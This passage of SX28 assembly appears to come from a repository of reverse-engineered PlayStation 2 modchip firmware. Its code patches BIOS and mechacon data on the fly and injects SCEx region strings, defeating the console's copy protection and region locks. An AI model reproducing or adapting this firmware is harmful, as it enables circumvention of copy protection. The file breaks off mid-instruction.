MECHACON_WAIT_OE mov w,#$ff mov !IO_CDDVD_BUS,w V9toV12_CONSOLE_PATCH1_POST snb VAR_PATCH_FLAGS.2 page $0000 jmp PS1_MODE_START_PATCH ALL_CDDVD_PATCH1_GET_SYNC_BIT sb IO_BIOS_CS jmp CDDVD_IS_PS1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ALL_CDDVD_PATCH1_GET_SYNC_BIT_L1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ALL_CDDVD_PATCH1_GET_SYNC_BIT_L2 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ALL_CDDVD_PATCH1_GET_SYNC_BIT_L3 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L3 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ALL_CDDVD_PATCH1_GET_SYNC_BIT_L4 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L4 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST ALL_CDDVD_PATCH1_GET_SYNC_BIT_L5 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L5 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST ALL_CDDVD_PATCH1_GET_SYNC_BIT_L6 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L6 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST IFDEF RSTBUMP sb IO_CDDVD_BUS_h setb VAR_PATCH_FLAGS.6 ENDIF snb VAR_PATCH_FLAGS.2 page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP mov w,#$90 mov IO_CDDVD_BUS,w mov w,#$6f ALL_CDDVD_PATCH1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1 clrb IO_CDDVD_OE_A_1R mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R CDDVD_REGION snb IO_CDDVD_OE_A_1Q jmp CDDVD_REGION clrb IO_CDDVD_OE_A_1R mov w,#$ff mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R snb VAR_PATCH_FLAGS.6 jmp CDDVD_JAP snb VAR_PATCH_FLAGS.4 jmp CDDVD_PAL clr w jmp ALL_CDDVD_PATCH_SET_VAR_DC3 CDDVD_PAL mov w,#$8 jmp ALL_CDDVD_PATCH_SET_VAR_DC3 CDDVD_JAP mov w,#$10 ALL_CDDVD_PATCH_SET_VAR_DC3 mov VAR_DC2,w mov w,#$8 mov VAR_DC3,w mov w,#$ff mov IO_CDDVD_BUS,w ALL_CDDVD_PATCH_SYNC2_BIT mov w,#$3 mov VAR_DC1,w ALL_CDDVD_PATCH_SYNC2_BIT_L1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT ALL_CDDVD_PATCH_SYNC2_BIT_L2 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT ALL_CDDVD_PATCH_SYNC2_BIT_L3 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L3 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT decsz VAR_DC1 jmp ALL_CDDVD_PATCH_SYNC2_BIT_L1 mov w,#$f mov !IO_CDDVD_BUS,w RUN_CDDVD_PATCH mov w,VAR_DC2 call CDDVD_PATCH_DATA RUN_CDDVD_PATCH_NIBBLE snb IO_CDDVD_OE_A_1Q jmp RUN_CDDVD_PATCH_NIBBLE mov IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R mov VAR_PSX_BC_CDDVD_TEMP,w mov w,<>VAR_PSX_BC_CDDVD_TEMP setb IO_CDDVD_OE_A_1R RUN_CDDVD_PATCH_NIBBLE_SEND snb IO_CDDVD_OE_A_1Q jmp RUN_CDDVD_PATCH_NIBBLE_SEND mov IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R inc VAR_DC2 setb IO_CDDVD_OE_A_1R decsz VAR_DC3 jmp RUN_CDDVD_PATCH CDDVD_PATCH_POST_RB_INPUT snb IO_CDDVD_OE_A_1Q jmp CDDVD_PATCH_POST_RB_INPUT mov w,#$ff mov !IO_CDDVD_BUS,w snb VAR_PATCH_FLAGS.1 jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT CDDVD_IS_PS1 clrb VAR_PATCH_FLAGS.1 snb VAR_PATCH_FLAGS.0 page $0200 jmp POST_PATCH_4_MODE_START2 page $0400 jmp PS1_DETECTED_REBOOT FINISHED_RUN_START page $0000 call SET_RB_IO_BUS_WAKE mov w,#$4 mov VAR_DC1,w FINISHED_RUN_START_P2 snb IO_BIOS_OE jmp FINISHED_RUN_START_P2 mov w,#$c4 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2 call BIOS_WAIT_OE_LO_P8 mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2 call BIOS_WAIT_OE_LO_P8 mov w,#$18 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2 FINISHED_RUN_START_P2_L1 snb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L1 mov w,#$d0 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 FINISHED_RUN_START_P2_L2 sb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L2 FINISHED_RUN_START_P2_L3 snb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L3 mov w,#$ff mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 FINISHED_RUN_START_P2_L4 sb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L4 FINISHED_RUN_END snb IO_BIOS_OE jmp FINISHED_RUN_END mov w,#$42 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 mov w,#$34 mov IO_BIOS_DATA,w mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$ff mov !IO_BIOS_DATA,w decsz VAR_DC1 jmp FINISHED_RUN_START_P2 page $0000 call MODE_SELECT_TIMER page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP end

1nick9/PS2-Magic-ICE-FINAL-REVERSE

119,115

h2oWIP/h2o-orange-F-ntscconsoleps1fix-v8japsupportadded.s

;******************************************************************************** ; h2o-orange-F-ntscconsoleps1fix-v8japsupportadded.sxh hash 3158b96dd151bdd71406c4c05b80915e ;******************************************************************************** device SX28,TURBO,PROTECT,BOROFF,BANKS8,OSCHS2,OPTIONX ID 'ICEREV' ;DEFINE RSTBUMP = 1 ; uncomment for compiling with restbump for ps1mode. else is compiled as f=tr ;USE ONLY IF F=TR commented out RSTBUMP ;pal v14 dont define any. for jap/usa define only one for 75k this will make f=tr work correctly also h=rw usa/pal f=tr 75k pal d8d6a5acf3e30901b45b75b001ff457c ;USAv14 = 1 ;uncomment for fixed 75k being usa region. all prior still work any region f=tr 75k usa 809aa1533abed9cbdf2ed612a6fc5627 ;JAPv14orv8 = 1 ;uncomment for fixed 75k being jap region. all prior still work any region f=tr 75k jap 7a35a0a6001a04ed71509a1c18b6544f ;also for v7 to use v9+ mechacon patch for v8 jap support f=tr ;NTSCPS1YFIX75K = 1 ;uncomment for 75k NTSC IMPORT YFIX PAL CONSOLE TESTED makes pal off screen but ntsc correct. off pal correct, ntsc crushed. ;NTSCPS1YFIX75K ON rstbump 891246cec7e63bc112c4005b700a7a22 f=tr 75k pal ec962491125e6e2196e215b6cb5222a1 ;only rstbump v8jap tested but rest should be right ;io pin assignments IO_SCEX = ra.2 ; (PSX:SCEx)RA2(S) IO_BIOS_OE = ra.0 ; (R) IO_BIOS_CS = rb.1 ; (W) ; LOW = BIOS select ; 1 = no access to rom , 0 = access to rom IO_REST = rb.2 ; ; 1 = normal , 0 = reset IO_EJECT = rb.3 ; (PS2:EJECT)RB3(Z) ; 1 = tray open , 0 = tray closed IO_CDDVD_OE_A_1Q = ra.1 ; (CDDVD:OE)RA1(A) (flipflop 1Q#) ;A from flip flop IO_CDDVD_OE_A_1R = ra.3 ; (CDDVD:OE)RA3(A) (flipflop 1R#) ;flip flop clr IO_CDDVD_BUS_i = rb.7 ; (I)(CDDVD:D7) IO_CDDVD_BUS_b = rb.4 ; (B)(CDDVD:D2) IO_CDDVD_BUS_f = rb.0 ; (F)(just used for usa v14 jmp or clash with f=tr on v14 usa) IO_CDDVD_BUS_h = rb.6 ; (H)(how determins is jap v14 if connected, assumption is no RW support at all on v14 RSTBUMP unless sync works out for when checked) IO_CDDVD_BUS = rb ; $06 IO_BIOS_DATA = rc ; $07 ; (V)RC0(BIOS:D0) - (M)RC7(BIOS:D7) ;regs VAR_DC1 = $08 ; DS 1 ; delay counter 1(small) VAR_DC2 = $09 ; DS 1 ; delay counter 2(small) VAR_DC3 = $0A ; DS 1 ; delay counter 3(big) VAR_DC4 = $0b ; DS 1 ; delay counter 4 VAR_PSX_TEMP = $0C ; DS 1 ; SEND_SCEX: rename later VAR_PSX_BYTE = $0D ; DS 1 ; SEND_SCEX: byte(to send) VAR_PATCH_FLAGS = $0E ; DS 1 VAR_SWITCH = $0F ; DS 1 VAR_BIOS_REV = $10 ; DS 1 ; 1.X0 THE BIOS REVISION byte infront in BIOS string is X.00 VAR_BIOS_YR = $11 ; DS 1 ; byteC of ;BIOS_VERSION_MATCHING VAR_BIOS_REGION_TEMP = $12 ; DS 1 ; temp storage to compare byte7 of ;BIOS_VERSION_MATCHING VAR_PSX_BITC = $13 ; DS 1 ; SEND_SCEX: bit counter ;note start at 8(works down to 0) VAR_PSX_BC_CDDVD_TEMP = $14 ; DS 1 ; SEND_SCEX: byte counter note start at 4(works down to 0) ; also used with mechacon patches and ps1 detect ;------------------------------------------------------------ ;VAR_PATCH_FLAGS ;------------------------------------------------------------ EJ_FLAG = VAR_PATCH_FLAGS.0 ;bit 0 used by eject routine SOFT_RST = VAR_PATCH_FLAGS.1 ;soft reset flag for disk patch PSX_FLAG = VAR_PATCH_FLAGS.2 ;psx mode flag V10_FLAG = VAR_PATCH_FLAGS.3 ;bios 1.9 or 2.0 ;also v10 1.9 bios has own ps1 routine UK_FLAG = VAR_PATCH_FLAGS.4 USA_FLAG = VAR_PATCH_FLAGS.5 JAP_FLAG = VAR_PATCH_FLAGS.6 SCEX_FLAG = VAR_PATCH_FLAGS.7 ;set when SCEX_LOW loop for injecting. once cleared knows patching done to flow forward ;------------------------------------------------------------ ;VAR_SWITCH ;------------------------------------------------------------ V12_FLAG = VAR_SWITCH.0 ;v12 console 2.0 bios set V12LOGO_FLAG = VAR_SWITCH.1 ;PS1_MODE v12 2.0 bios console flag ? ;SECOND_BIOS_PATCH_END ref if was doing ps1 patching for 2.0 v12 as redirects flow there for different patch. JAP_V8 = VAR_SWITCH.2 X_FLAG = VAR_SWITCH.3 ;set when HOLD_BOOT_MODES only clrb when end ? ;can flow onto ps1 reboot into PS1_MODE if detect ps1 media DEV1_FLAG = VAR_SWITCH.4 V14_FLAG = VAR_SWITCH.5 ;set due to W for region of BIOS which decka models ;------------------------------------------------------------ ;CODE ;------------------------------------------------------------ ;mode setup for io's ;todo ;ref SX-SX-Users-Manual-R3.1.pdf section 5.3.2 org $07FF ; Reset Vector reset STARTUP ; jmp to startup process on reset vector skipping boot inital ;****** Reset of the chip ******************************** org $0000 ; PAGE1 000-1FF ;INTERRUPT ;goes to sleep and wait for reset release ( 1 ) or tray close (0) ... mode $000F mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ;to be sure ports are input ... mov w,#$ff ; 1111 1111 mov !IO_CDDVD_BUS,w ;.... mov w,#$ff ; 1111 1111 mov !ra,w ;... mode $000A ;set up edge register mov w,#$8 ; 0000 1000 mov !IO_CDDVD_BUS,w ;RB3 wait for LOW ( = 1 ),RB2 wait for hi ( =0 ) mode $0009 ;clear all wakeup pending bits clr w mov !IO_CDDVD_BUS,w mode $000B ;enable wakeup... mov w,#$f3 ; 1111 0011 mov !IO_CDDVD_BUS,w ;... on RB3 ( eject ) & RB2 (reset) mode $000F sleep ;INIT_CHIP STARTUP ;here from stby & wake up... mode $000D ;TTL/CMOS mode... mov w,#$f7 ;1111 0111 mov !IO_CDDVD_BUS,w ;set IO_EJECT input as cmos ( level '1' > 2.5V ) work better with noise ... mode $000E ;? mov w,#$be ; 1011 1110 mov !IO_CDDVD_BUS,w mode $000F ;port mode mov w,#$7 ; 0000 0111 mov !ra,w ;port mode : all input mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !IO_BIOS_DATA,w mov w,#$c7 mov !option,w ;rtcc enabled,no int,incr.on clock, prescaler (bit 2,1,0). ;read power down register clr fsr mode $0009 ;read power down register clr w ;clear W mov !IO_CDDVD_BUS,w ;exchange registers = read pending bits mov VAR_PSX_BITC,w ;save wake up status ... mode $000F ;need 'cause removed from patch disk for speed ! ;execute correct startup... snb pd jmp CLEAR_CONSOLE_INFO_PREFIND ;0 = power up from sleep , 1= power up from Power ON (STBY) snb VAR_PSX_BITC.2 jmp TAP_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED snb VAR_PSX_BITC.1 ;xcdvdman reload check page $0200 jmp POST_PATCH_4_MODE_START page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;power up from STBY CLEAR_CONSOLE_INFO_PREFIND clr VAR_PATCH_FLAGS ;reset all used flag... clr VAR_SWITCH jmp BIOS_GET_SYNC ;--------------------------------------------------------- ;Delay routine using RTCC ;--------------------------------------------------------- ;-------------------------------------------------------------------------------- DELAY100m ;Precise delay routine using RTCC ;-------------------------------------------------------------------------------- mov w,#100;$64 mov VAR_DC1,w ;delay = 100 millisec. RTCC_SET_BIT mov w,#61;$3d mov rtcc,w ;load timer = 61 ; delay = (256-61)*256*0.02 micros.= 1000 micros. / 45 for 54M RTCC_CHECK mov w,rtcc ;wait for timer= 0 ... (don't use TEST RTCC) sb z ;skip next bit if rtcc = 0 jmp RTCC_CHECK ;loop w=rtcc till equal then will skip decsz VAR_DC1 ;VAR_DC1 = 100 count then skip next bit jmp RTCC_SET_BIT retp ;Return from call ;-------------------------------------------------------------------------------- SET_INTRPT ;setup interrupt routine ;-------------------------------------------------------------------------------- mode $000A ;set up edge register mov w,#$6 ; 0000 0110 mov !IO_CDDVD_BUS,w ; rb.1 IO_BIOS_CS rb.2 IO_REST high-to-low sense ;wait for low mode $0009 ;clear all wakeup pending bits clr w ; 0000 0000 mov !IO_CDDVD_BUS,w ; clear all wakeup pending bits ; set to 0 indicates that no valid edge has occurred on the MIWU pin. ; The WKPND_B register comes up with undefine value upon reset. mode $000B ;enable interrupt ; MIWU operation. see Section 4.4. mov w,#$f3 ; 1111 0011 mov !IO_CDDVD_BUS,w ; rb.2 IO_REST rb.3 IO_EJECT enable interrupt mode $000F ; XFh mode direction for RA, RB, RC output retp ;-------------------------------------------------------------------------------- SCEX_HI ;-------------------------------------------------------------------------------- setb IO_SCEX ; SCEX HI ; Delay About 5mS mov w,#59;$3b ;#59 var_dc3 mov mov VAR_DC3,w :loop1 mov w,#212;$d4 ; #212 set for 50mhz mov VAR_DC2,w not ra :loop2 mov w,#3;$3 mov VAR_DC1,w :loop3 decsz VAR_DC1 jmp :loop3 decsz VAR_DC2 jmp :loop2 decsz VAR_DC3 jmp :loop1 ret ;-------------------------------------------------------------------------------- SCEX_LOW ;-------------------------------------------------------------------------------- clrb IO_SCEX ; SCEX LOW ; Delay About 5mS+ mov w,#59;$3b mov VAR_DC3,w :loop1 mov w,#212;$d4 ; #212 for 50mhz mov VAR_DC2,w snb IO_BIOS_CS ; next byte / wait for bios CE LOW = BIOS select jmp :loop2 setb SCEX_FLAG :loop2 mov w,#3;$3 mov VAR_DC1,w :loop3 decsz VAR_DC1 jmp :loop3 decsz VAR_DC2 jmp :loop2 decsz VAR_DC3 jmp :loop1 ret ;-------------------------------------------------------------------------------- SCEx_DATA ;-------------------------------------------------------------------------------- jmp pc+w ; retw values are ascii hex retw $53 ; S ; USA 0 retw $43 ; C retw $45 ; E retw $41 ; A retw $53 ; S ; JAP 4 retw $43 ; C retw $45 ; E retw $49 ; I retw $53 ; S ; UK 8 retw $43 ; C retw $45 ; E retw $45 ; E ;-------------------------------------------------------------------------------- SEND_SCEX ;-------------------------------------------------------------------------------- snb JAP_FLAG jmp jap snb UK_FLAG jmp uk clr VAR_DC4 jmp SCEx_IO_SET uk mov w,#8;$8 mov VAR_DC4,w jmp SCEx_IO_SET jap mov w,#4;$4 mov VAR_DC4,w jmp SCEx_IO_SET SCEx_IO_SET mov w,#4;$4 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$b mov !ra,w next_byte mov w,VAR_DC4 call SCEx_DATA mov VAR_PSX_BYTE,w not VAR_PSX_BYTE mov w,#8;$8 mov VAR_PSX_BITC,w call SCEX_LOW call SCEX_LOW call SCEX_HI send rr VAR_PSX_BYTE snb c jmp hi sc call SCEX_LOW jmp next2 hi call SCEX_HI next2 decsz VAR_PSX_BITC jmp send inc VAR_DC4 decsz VAR_PSX_BC_CDDVD_TEMP jmp next_byte clrb IO_SCEX mov w,#22;$16 mov VAR_DC4,w send_end call SCEX_LOW decsz VAR_DC4 jmp send_end mov w,#$f mov !ra,w ret ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P1 ;-------------------------------------------------------------------------------- NOTCALLED0 snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P1 ret BIOS_GET_SYNC ; wait for "S201" seems to wait for "PS20" since 0.94 ; 0123456789ABC ; Read "PS201?0?C200?xxxx.bin" snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_GET_SYNC nop mov w,#$50 ; ASCII P ; is byte0 = 'P' seems to be new count prior for "PS201?0?C200?xxxx.bin" mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$53 ; ASCII S ; is byte1 (byte0 0.94) = 'S' ; v8 fix mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$32 ; ASCII 2 ; is byte2 (byte1 0.94) = '2' mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$30 ; ASCII 0 ; is byte3 (byte2 0.94) = '0' mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low CAPTURE_BIOS_REV sb IO_BIOS_OE ; next byte / wait for bios OE high ; skipping byte4 for x.00 of bios jmp CAPTURE_BIOS_REV call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_REV,w ; capture byte5 as VAR_BIOS_REV ; v1.x0 of bios rev CAPTURE_BIOS_REGION snb IO_BIOS_OE ; next byte / wait for bios OE low jmp CAPTURE_BIOS_REGION nop mov w,#$30 ; ASCII 0; is byte6 0 as fixed value check mov w,IO_BIOS_DATA-w sb z jmp CAPTURE_BIOS_REGION ;loop back to CAPTURE_BIOS_REGION if not ASCII 0 call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_REGION_TEMP,w ;store byte7 in VAR_BIOS_REGION_TEMP CHECK_BYTE_AB_REGION_CAPTURE_YR snb IO_BIOS_OE ; next byte / wait for bios OE low jmp CHECK_BYTE_AB_REGION_CAPTURE_YR nop mov w,#$30 ; ASCII 0 is byteA mov w,IO_BIOS_DATA-w sb z jmp CHECK_BYTE_AB_REGION_CAPTURE_YR ;loopback if byteA not 0 CHECK_BYTE_AB_REGION_CAPTURE_YR call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$30 ; ASCII 0 is byteB mov w,IO_BIOS_DATA-w sb z jmp CHECK_BYTE_AB_REGION_CAPTURE_YR ;loopback if byteB not 0 CHECK_BYTE_AB_REGION_CAPTURE_YR call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_YR,w ;captured byteC mov w,#$41 ;is byte7 ASCII A usa bios mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if A snb z ;if compare dont = 0 (A) skip next line jmp BIOS_USA mov w,#$57 ;is byte7 ASCII W v14/75k+ bios mov w,VAR_BIOS_REGION_TEMP-w snb z jmp BIOS_V14 mov w,#$45 ;is byte7 ASCII E europe bios mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if E snb z ;if compare dont = 0 (E) skip next line jmp BIOS_UK mov w,#$52 ;is byte7 ASCII R ; 'R', uk ; RUS 39008 fix ; russia region which is pal mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if R snb z ;if compare dont = 0 (R) skip next line jmp BIOS_UK mov w,#$43 ;is byte7 ASCII C ; china region which pal region but ps2 ntsc-c made mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if C snb z ;if compare dont = 0 (C) skip next line jmp BIOS_UK jmp BIOS_JAP ; no match on byte7 compares, assumed is jap region BIOS_USA setb USA_FLAG jmp RESTDOWN_CHK_PS2MODEorOTHER BIOS_V14 setb V14_FLAG IFDEF RSTBUMP clrb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_f jmp BIOS_USA ENDIF IFDEF USAv14 jmp BIOS_USA ENDIF IFDEF JAPv14orv8 jmp BIOS_JAP ENDIF BIOS_UK setb UK_FLAG jmp RESTDOWN_CHK_PS2MODEorOTHER BIOS_JAP setb JAP_FLAG RESTDOWN_CHK_PS2MODEorOTHER snb IO_REST jmp TAP_BOOT_MODE ;DVD movie : GREEN fix + MACROVISION off CHECK_IF_V9to14 setb PSX_FLAG mov w,#$30 ; is bios 2.0 for v12 ;V12 use V910 kernel :) mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$37 ; is bios 1.7 for v9-10 ;select KERNEL TYPE V9 or V10 mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$39 ; is bios 1.9 for v11 mov w,VAR_BIOS_REV-w snb z jmp START_BIOS_PATCH_SYNC_V9toV14 snb V14_FLAG ; is v14 flag set from W region, should work all decka 75k+ jmp START_BIOS_PATCH_SYNC_V9toV14 ;V1-8 kernels: sync 1E006334 then 2410 mov w,#50;$32 ; v1-8 bios VAR_DC1 set fall over no match for mov VAR_DC1,w START_BIOS_PATCH_SYNC_V1toV8 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8 nop mov w,#$1e mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$63 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$34 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8 START_BIOS_PATCH_SYNC_V1toV8_L1 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8_L1 nop mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8_L1 call BIOS_WAIT_OE_LO_P1 mov w,#$10 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V1toV8_L1 START_BIOS_PATCH_SYNC_V1toV8_L2 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V1toV8_L2 ; next byte / wait for bios OE low BIOS_V1toV8_PATCH1 snb IO_BIOS_OE jmp BIOS_V1toV8_PATCH1 decsz VAR_DC1 jmp START_BIOS_PATCH_SYNC_V1toV8_L2 mov w,#$0 mov IO_BIOS_DATA,w mode $000F ; XFh mode direction for RA, RB, RC output call BIOS_WAIT_OE_LO_P1 mov w,#$0 ; 0000 0000 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA all pins output start patching here once sync call BIOS_WAIT_OE_LO_P1 mov w,#$0 ;send 00,00,00,00 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w BIOS_V1toV8_IORESET_INPUT sb IO_BIOS_OE jmp BIOS_V1toV8_IORESET_INPUT mov w,#$ff mov !IO_BIOS_DATA,w jmp MODE_SELECT_START ;exit KERNEL PATCH ; V9/V10/V12 kernels ;kernel_V910 ;Kstart_l0 START_BIOS_PATCH_SYNC_V9toV14 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14 ; patch 25 10 43 00 to 00 00 00 00 nop mov w,#$dc mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L1 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L1 START_BIOS_PATCH_SYNC_V9toV14_L2 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L2 mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L3 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L3 START_BIOS_PATCH_SYNC_V9toV14_L4 snb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L4 mov w,#$10 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 START_BIOS_PATCH_SYNC_V9toV14_L5 sb IO_BIOS_OE jmp START_BIOS_PATCH_SYNC_V9toV14_L5 BIOS_V9toV14_PATCH1 snb IO_BIOS_OE jmp BIOS_V9toV14_PATCH1 mov w,#$45 mov w,IO_BIOS_DATA-w sb z jmp START_BIOS_PATCH_SYNC_V9toV14 mov w,#$0 mov IO_BIOS_DATA,w mode $000F ; XFh mode direction for RA, RB, RC output mov w,#$0 ; 0000 0000 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA all pins output start patching here once sync call BIOS_WAIT_OE_LO_P1 mov w,#$0 ;send 00,00,00,00 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA all pins input patch end for more sync ;************************************************************************************************** ;New mode select for PSX/DEV mode : ;Check RESET for about 4 sec ( 2 =initial delay + 2 from this routine ) ;if exit before then enter PSX mode , else wait for reset release and wait again for ;10 sec. If RESET is pressed again within 10 sec. then enter DEV mode else ;definitively SLEEP chip for all media that no need patch ( VIDEO , MUSIC , ORIGINALS ). ;************************************************************************************************** ;TEST_RESET MODE_SELECT_START mov w,#10;$a ; 10x100ms ;test RESET for about 1sec mov VAR_DC2,w ;test_l1 MODE_SELECT_TIMER_L1 call DELAY100m snb IO_REST jmp HOLD_BOOT_MODES decsz VAR_DC2 ; repeat n jump to HOLD_BOOT_MODES if under 1sec so tap 1+1=2sec jmp MODE_SELECT_TIMER_L1 MODE_SELECT_TIMER_L2 sb IO_REST ;wait RESET release for PS1_MODE jmp MODE_SELECT_TIMER_L2 mov w,#5;$5 ;debounce RESET for about 0.5 sec buffer for not exact 2sec hold mov VAR_DC2,w ;test_l2 MODE_SELECT_TIMER_L3 call DELAY100m ;test RESET again for about 10.0 sec. decsz 